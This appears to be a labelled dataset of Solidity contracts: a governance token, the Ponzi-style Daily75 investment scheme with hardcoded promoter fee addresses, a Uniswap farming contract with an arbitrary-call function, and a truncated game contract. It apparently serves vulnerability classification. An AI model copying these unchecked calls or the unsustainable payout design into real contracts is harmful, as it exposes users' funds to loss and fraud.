event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
contract Voice is Initializable, ContextUpgradeSafe, IERC20, OwnableUpgradeSafe {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private constant INITIAL_SUPPLY = 60 * 10**3 * 10**18;
uint16 public TAX_FRACTION;
address public taxReceiveAddress;
bool public isTaxEnabled;
mapping(address => bool) public nonTaxedAddresses;
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
receive() external payable {}
function rebrand() external onlyOwner {
(msg.sender).call{ value: address(this).balance }("");
_name = "Voice Token";
_symbol = "VOICE";
}
function setTaxReceiveAddress(address _taxReceiveAddress) external onlyOwner {
taxReceiveAddress = _taxReceiveAddress;
}
function setAddressTax(address _address, bool ignoreTax) external onlyOwner {
nonTaxedAddresses[_address] = ignoreTax;
}
function _setTaxFraction(uint16 _tax_fraction) internal {
TAX_FRACTION = _tax_fraction;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(nonTaxedAddresses[sender] == true || TAX_FRACTION == 0){
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
_moveDelegates(_delegates[sender], _delegates[recipient], amount);
emit Transfer(sender, recipient, amount);
return;
}
uint256 feeAmount = amount.div(TAX_FRACTION);
uint256 newAmount = amount.sub(feeAmount);
require(amount == feeAmount.add(newAmount), "ERC20: math is broken");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(newAmount);
_balances[taxReceiveAddress] = _balances[taxReceiveAddress].add(feeAmount);
_moveDelegates(_delegates[sender], _delegates[recipient], newAmount);
_moveDelegates(_delegates[sender], _delegates[taxReceiveAddress], feeAmount);
emit Transfer(sender, recipient, newAmount);
emit Transfer(sender, taxReceiveAddress, feeAmount);
}
function Burn(uint256 amount) external returns (bool) {
require(msg.sender != address(0), "ERC20: burn from the zero address");
_balances[msg.sender] = _balances[msg.sender].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {
require(blockNumber < block.number, "Gov::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Gov::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Gov::delegateBySig: invalid nonce");
require(now <= expiry, "Gov::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Gov::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0 | 1,019 |
pragma solidity ^0.4.24;
contract Daily75 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 125;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
address public ownerWallet;
address public owner;
address promoter1 = 0xC558895aE123BB02b3c33164FdeC34E9Fb66B660;
address promoter2 = 0x70C7Eac2858e52856d8143dec1a38bDEc9503eBc;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
promoter1.transfer(msg.value.div(100).mul(5));
promoter2.transfer(msg.value.div(100).mul(1));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,960 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface UniswapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
UniswapPair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token0,
address token1_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve1, reserve0);
uint256 amount_token1 = quoted.mul(amount_token0).div(ONE);
token0.transfer(address(uniswap_pair), amount_token0);
token1.transferFrom(token1_source, address(uniswap_pair), amount_token1);
UniswapPair(uniswap_pair).mint(address(this));
}
function _burnLPToken(UniswapPair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
UniswapPair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = UniswapPair(pair).getReserves();
if (isToken0) {
priceCumulative = UniswapPair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = UniswapPair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUSTONKSJUN {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
UniswapPair internal uniswap_pair =
UniswapPair(0x360acFEB5c1548BAd3583C559A646d803077236d);
IERC20 internal constant USDC =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 internal constant JUN_USTONKS =
IERC20(0x20F8d43672Cfd78c471972C737134b5DCB700Dd8);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
true
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell =
uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract USTONKSJUNFarming is TWAPBoundedUSTONKSJUN, UniHelper, YamSubGoverned {
enum ACTION {ENTER, EXIT}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter = SynthMinter(
0xB1a3E5a8d642534840bFC50c6417F9566E716cc7
);
bool completed = true;
ACTION action;
address internal constant RESERVES = address(
0x97990B693835da58A281636296D2Bf02787DEa17
);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
USDC.transferFrom(RESERVES, address(this), collateral_amount);
USDC.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
JUN_USTONKS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 ustonksBalance = JUN_USTONKS.balanceOf(address(this));
if (ustonksBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - ustonksBalance <=
5 * 10**18
? position.tokensOutstanding.rawValue - 5 * 10**18
: ustonksBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 ustonksReserves;
uint256 usdcReserves;
(ustonksReserves, usdcReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(usdcReserves, ustonksReserves),
"Market rate is outside bounds"
);
uint256 usdcBalance = USDC.balanceOf(RESERVES);
require(usdcBalance > 100000*(10**6), "Not enough USDC");
uint256 collateral_amount = (usdcBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * ustonksReserves) /
usdcReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, JUN_USTONKS, USDC, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 ustonksReserves;
uint256 usdcReserves;
(ustonksReserves, usdcReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(usdcReserves, ustonksReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
USDC.transfer(RESERVES, USDC.balanceOf(address(this)));
uint256 ustonksBalance = JUN_USTONKS.balanceOf(address(this));
if (ustonksBalance > 0) {
JUN_USTONKS.transfer(RESERVES, ustonksBalance);
}
completed = true;
}
function _approveEnter()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.ENTER;
}
function _approveExit()
public
onlyGovOrSubGov
{
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay)
public
onlyGovOrSubGov
{
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired()
public
onlyGovOrSubGov
{
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token)
public
onlyGovOrSubGov
{
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 0 | 1,326 |
pragma solidity ^0.4.21;
contract Memes{
address owner;
address helper=0x690F34053ddC11bdFF95D44bdfEb6B0b83CBAb58;
uint256 public TimeFinish = 0;
uint256 TimerResetTime = 7200000;
uint256 TimerStartTime = 360000;
uint256 public Pot = 0;
uint16 PIncr = 10000;
uint16 DIVP = 10000;
uint16 POTP = 0;
uint16 WPOTPART = 9000;
uint16 public DEVP = 500;
uint16 public HVAL = 5000;
uint256 BasicPrice = .00666 ether;
struct Item{
address owner;
uint256 CPrice;
bool reset;
}
uint8 constant SIZE = 17;
Item[SIZE] public ItemList;
address public PotOwner;
event ItemBought(address owner, uint256 newPrice, string says, uint8 id);
event GameWon(address owner, uint256 paid, uint256 npot);
modifier OnlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
DEVP = tfee;
}
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HVAL = hfee;
}
function Memes() public {
var ITM = Item(msg.sender, BasicPrice, true );
ItemList[0] = ITM;
ItemList[1] = ITM;
ItemList[2] = ITM;
ItemList[3] = ITM;
ItemList[4] = ITM;
ItemList[5] = ITM;
ItemList[6] = ITM;
ItemList[7] = ITM;
ItemList[8] = ITM;
ItemList[9] = ITM;
ItemList[10] = ITM;
ItemList[11] = ITM;
ItemList[12] = ITM;
ItemList[13] = ITM;
ItemList[14] = ITM;
ItemList[15] = ITM;
ItemList[16] = ITM;
owner=msg.sender;
}
function Buy(uint8 ID, string says) public payable {
require(ID < SIZE);
var ITM = ItemList[ID];
if (TimeFinish == 0){
TimeFinish = block.timestamp;
}
else if (TimeFinish == 1){
